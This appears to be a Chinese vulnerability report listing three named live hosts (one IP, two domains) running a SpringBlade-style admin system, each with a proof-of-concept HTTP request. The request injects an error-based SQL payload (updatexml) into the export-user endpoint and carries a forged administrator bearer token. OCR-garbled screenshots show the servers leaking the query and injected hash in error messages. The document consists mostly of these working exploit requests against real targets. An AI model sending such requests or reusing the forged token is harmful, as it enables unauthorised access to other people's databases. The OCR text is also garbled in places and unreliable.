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资产一：https://8.130.15.14/#/login
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Poc：
GET /api/blade-user/export-user?account=&realName=&1-updatexml(1,concat(0x5c,md5(619023),0x5c),1)=1 HTTP/2
Host: 8.130.15.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
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资产二：https://oral-admin-dev.ynlky.cn/#/login
[image: ]
Poc：
GET /api/blade-user/export-user?account=&realName=&1-updatexml(1,concat(0x5c,md5(619023),0x5c),1)=1 HTTP/2
Host: oral-admin-dev.ynlky.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
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资产三:https://test.shsrst.cn/#/login
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Poc
GET /api/blade-user/export-user?account=&realName=&1-updatexml(1,concat(0x5c,md5(619023),0x5c),1)=1 HTTP/2
Host: test.shsrst.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ
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< C https://oral-admin-dev.ynlky.cn/api/blade-user/export-user?account=&realName=&1-updatexml(1,concat(0x5¢c,md5(619023),0x5¢),1)=1 2 w

{"code”:500, “success”:false, “data”: {}, “msg”:"\n### Error querying database. Cause: java.sql. SQLException: XPATH syntax error: ' \\f41e9777235983b6a8cadb81410a290" \n### The error may exist in class path resource
[org/ynlky/modules/system/mapper/UserMapper. xml]\n### The error may involve defaultParameterMap\n#2# The error occurred while setting parameters\n### SQL: SELECT id, tenant_id, user_type, account, name, real name, email, phone, birthday, role_i
post_id FROM blade_user WHERE (1 - updatexml(l, concat(0x5c, md5(619023), 0x5c), 1) LIKE ? AND is_deleted = ?)\n##% Cause: java.sql.SQLException: XPATH syntax error: ' \\f41e9777235983b6aScadb81410a290" \n; uncategorized SQLException; SQL state []
code [1105]; XPATH syntax error: ' \\f41e9777235983b6aScadb81410a290" ; nested exception is java.sql.SQLException: XPATH syntax error: ~\\f41e9777235983b6aScadb81410a290" "}
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= Raw Hex

GET /api/blade-user/export-user’account=srealllame=g

1-updatexnl (1, concat (0x5c,ndS (619023) ,0x5¢) , 1) =1 HTTP/2

Host: test.shsrst.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.77 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Blade-Auth: bearer

eydhbGei0id TUZIINiISINRSCCIEIRpXVCIS. eyJ0ZUShbnREaW)1i01i IWMDAVMDALLCT1c2VyX2ShbWUi0iThZG1pbilsT
nJ1YWx EbmFt2ZST6 Tusuoee (huWPnCIs InFldGhvenl0aWVz1ipb InFkbWluaXN0cnFOb3T iXSwiY2xpZWS0XZ1kIj0ic2F
1ZXTiLCIybZx 1X25hbWU1i01iThZG1pbnlzdHThdGOyT iwibGl]ZWSz2S 16 InBvd2VyZWagYnk gYxhZGVAT iwicGIzdFIpZ
CIETIEXMIMLOTg4MTc3Mzg2NzUYMDEi LCI1c2VyX21k T 0iMTEYMZUS0DgyNTcz0DY 3NTTulS Is IndvbGVEaWQ10i IxMTT
2ZNTk 40DE2NZMAN c 1M Ax TiwicZNveGUi01siYuxsT10sInSpY2tfbnFrZS 16 Tusuoee QhuWRnC Is TnShdXRoX21k 1701 T
1wiZGVOYW1sTp7InR5cGUi01d3ZWI i fSwiYWliib3VudCI6 ImFkbWluIn0 . RES67Tubo 7y FRHyNz_bMQU7dEgN X ZWATKE
nFewltxQ

\n

—

w

0w

@

£ Raw Hex

HTTP/2 200 OK

Server: nginx

Date: Sun, 31 Mar 2024 07:29:17 GMT
Content-Type: application/json;charset=UTF-8

W@ W

Origin
Access-Control-Request-Method
: Access-Control-Request-Headers

Strict-Transport-Security: max-age=3153€000

"code”:305,
"success"”:false,
"data”:null,
"msg":
"\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: £41e97
77235983bEaBcadb81410a290"' \n### The error may exist in class path resource [org/springblade/
modules/system/mapper/UserMapper.xml] \n### The error may involve defaultParameterMap n### Th
e error occurred while setting parameters'\n### SQL: SELECT id, tenant_id, user_type, account
, name, real _name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user WHERE (
1 - updatexml(l, concat(0x5c, md5(619023), OxSc), 1) LIKE 2 AND is_deleted = ?)'\n### Cause:

java.sql.SQLException: XPATH syntax error: ')\\£41e9777235983b€aBcadb81410a290'\n; uncategori
zed SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: '\\£41e977723598
3bEaBcadbBl410a290' ; nested exception is java.sql.SQLException: XPATH syntax error: '\\f£4leg

777235983b6aBcadbB81410a290' "
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& C hitpsi//test.shsrst.cn/api/blade-user/export-user?account=&realName=&1-updatexml(1,concat(0x5¢,md5(619023),0x5¢),1)=1

Cause: java.sql. SQLException: XPATH syntax error: ' \\f41e9777235983b6aScadb81410a290’ \n### The error may exist in class path resource

{"code”:305, “success”:false, “data”:null, “msg”:"\n#&# Error querying database.
[org/springblade/modules/system/mapper/UserMapper. xml]\n##% The error may involve defaultParameterMap\n### The error occurred while setting parameters\n##% SQL: SELECT id, tenant_id, user_type, account, name, real name, email, phone, birthday, role_id,
dept_id, post_id FROM blade_user WHERE (1 - updatexml(l, concat(0Ox5c, md5(619023), 0x3c), 1) LIKE ? AND is_deleted = ?)\n### Cause: java.sql. SQLException: XPATH syntax error: ' \\f41e9777235983b6a8cadb81410a290’ \n; uncategorized SQLException; SQL state [HY000]

error code [1105]; XPATH syntax error: ' \\f41e9777235983b6a8cadb814102290 ; nested exception is java.sql. SQLException: XPATH syntax error: ' \\f41e9777235983b6a8cadb814102290" "}
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1 GET /api/blade-user/export-user?account=sreallame=s
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1-updatexnl (1, concat (0x5c,ndS (619023) ,0x5¢c) , 1) =1 HTTP/2
Host: 8.130.15.14

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Blade-Auth: bearer

eyIhbGei0id TUZTINiTSTNRSCCTIETRpXVCIS. eyl 0ZUShbnREaW)i0i TWMDAVMDAI LCI1c2VyX2ShbWUi0iThZG1ph
1TsInJ1YWxfbnFrZSTETueuoe e JhuWPnCIsInFldGhvenl 0aWvz13ph InFkbWluaXi0cmFOb 3T iXSwiY2xpZWs0X21
kTj0ic2FiZXTiLCIyb2x 1X25hbWU101iThZGlpbnl zdHIhdGIYT iwibGl3ZWSz2ZS 16 InBrd2VyZWdgYnk gYmxhZGVAT
1wicG9zAFIpZCTETIEXMIML0TgANTc3Mzg2NZUYMDE 1 LCI Lc2VyX2 1k T3 0iMTEYMzUSODgyNTczODY3NTIWMS IS Ind
vhGVEaWQi0iIxMTTzNTk 40DEZNZMAN ¢ 1Mj Ax Tiwic2NvCGUi01siYWxsT10s InSpY2eebnFrzST6 Tusuoee ghuWRn
CIsImShdXRoX21k 1301 1iwiZGVOYW1STip7InRSCGUL01T3ZWIiESwi YUl b3VudCIE ImFkbW1uIng. RESETTubo Ty
FRHyMz_bMQU7dfgNixZWATREnFewTtxQ

7B

EHTE SEIEE s AR FeReET D AEERSTRE - TR Ie R B e TEn Ay e
3
TRRY
= Raw Hex TEER
1 HTTP/2 500 Internal Server Error
2 Server: ngimx
3 Date: Sun, 31 Mar 2024 07:00:56 GMT
4 Content-Type: application/json;charset=UTF-8
S Vary: Origin
€ Vary: Access-Control-Request-Method
7 Vary: Access-Control-Request-Headers
El
"code": 500,
"success":false,
"data":

of4

\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error:
1€9777235983b6aBcadb81410a290 ' \n### The error may exist in class path resource [org/spri
ngblade/modules/systen/mapper/UserMapper.xnl]\ngé# The error may involve defaultParamete
rMap'\n### The error occurred while setting parameters'n### SQL: SELECT id, tenant_id, ac
count, name, real name, email, phone, birthday, role_id, dept_id, post_id FROM blade_use
r WHERE (1 - updatexml(l, concat(0x5c, md5(618023), 0x5c), 1) LIKE ? AND is_deleted = 2)
\n### Cause: java.sql.SQLException: XPATH syntax error: '\\f41e9777235983b6a8cadbBlal0aZ
S0'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax er
ror: '\\f41e9777235983b6aBcadbBl410a290" ; nested exception is java.sql.SQLException: XPA
TH syntax error: '\\f41e9777235983b6a8cadbBl410a290""

}

Inspector

Request attri
Request que
Request bod

Request coo




image4.png
v = (m] X

@ reE—e X @ 8130.15.14/api/blade-user/c: X  +
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{"code”:500, "success”:false, “data”: {}, "msg”:"\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: ' \\f41e9777235983b6aScadb81410a290" \n### The error may exist

in class path resource [org/springblade/modules/system/mapper/UserMapper. xml]\n#%% The error may involve defaultParameterMap\n## The error occurred while setting parameters\n### SQL:
SELECT id, tenant_id, account, name, real name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user WHERE (1 - updatexml(l, concat (0x5c, md5(619023), 0x5c), 1) LIKE ? AND
is_deleted = ?)\n#%# Cause: java.sql.SQLException: XPATH syntax error: ' \\f41e9777235983b6a8cadb81410a290" \n; uncategorized SQLException; SQL state [HY000]: error code [1105]; XPATH syntax

error: ' \\f41e9777235983b6a8cadb81410a290" ; nested exception is java.sql. SQLException: XPATH syntax error: ' \\f41e9777235983b6aScadb81410a290° "}
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=6 Raw  Hex n =
1 GET /api/blade-user/export-user’account=creallame=g
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1-updatexnl (1, concat (0x5c,ndS (619023) ,0x5¢c) , 1) =1 HTTP/2
Host: oral-admin-dev.ynlky.cn|

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.77 Safari/537.36

Accept-Encoding: gzip, deflate

Accept: */*

Blade-Auth: bearer

eydhbGei0id TUZTINITSTnRSCCTIETRpXVCIS. eyl 0ZUShbnREaW)i0i TWMDAVMDAILCT1c2VyX2ShbWUi0iThZGlpbiTsT
nJ1YWx EbmFt2ZST6 Tusuoee ghuWRnCIs InF1dGhvenl0aWVz1ipb InFkbWluaXN0cnFOb3TiXSwiY2xpZWS0X21kTj0ic2F
1ZXTiLCIyb2x1X25hbWU1i01iThZG1pbnl zdHThdGSYT iwibGl3ZWSz2S 16 InBvd2VyZWagYnk gYmxhZGVAT iwi cGIzdFopZ
CIETIEXMIMLOTg4MTc3Mzg2NZUYMDEi LCI1c2VyX21k T 0iMTEYMZUSODgyNTcz0DY 3NTTulS Is IndvhGVEaWQ10i IxMTT
2ZNTk 40DEZNZMAN] c1M3 Ax TiwicZNveGUi0lsiYixsT10sInSpY2tEbnFtZS 16 TusuoeeQhulRnC Is InShdXRoX21k T304 T
1wiZGVOYW1sTip7InRScGUL0iI3ZWIi£SwiYUNIb3VudCI6 InFkbW1uIn0. ReS67Tubo7yFREyNz_bMOWTdE gl ixZVATKE
nFewltxQ
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Raw TmER

HTTP/2 500 Internal Server Error
Server: nginx

Date: Sun, 31 Mar 2024 07:21:37 GNT
Content-Type: application/json;charset=UTF-8
Vary: Origin

Vary: Access-Control-Request-Nethod

Vary: Access-Control-Request-Headers

Hex

{

"code”: 500,
"success":false,

"msg":
"\n### Error querying database.
77235983b6aBcadbBl410a290 ' \n### The error may exist in class path resource [org/ynlky/module
s/system/mapper/UserMapper.xnl]\n### The error may involve defaultParameterMap n### The erro
r occurred while setting parameters\n### SQL: SELECT id, tenant_id, user_type, account, name
, real_name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user WHERE (1 - up
datexml (1, concat(0xSc, md5(619023), OxSc), 1) LIKE 2 AND is_deleted = ?) n### Cause: java.s

Cause: java.sql.SQLException: XPATH syntax error: '\\f4leg?

ql.SQLException: XPATH syntax error:
LException; SQL state [HY0D0]; error code [1105]; XPATH syntax erro
adb81410a290" ; nested exception is java.sql.SQLException: XPATH syntax error:
983bEaBcadbBl4l0a2s0 "

'\ £41e9777235983b6aBcadb81410a290' \n; uncategorized SQ
'\ £41e9777235983bEabc
'\\£41e9777235





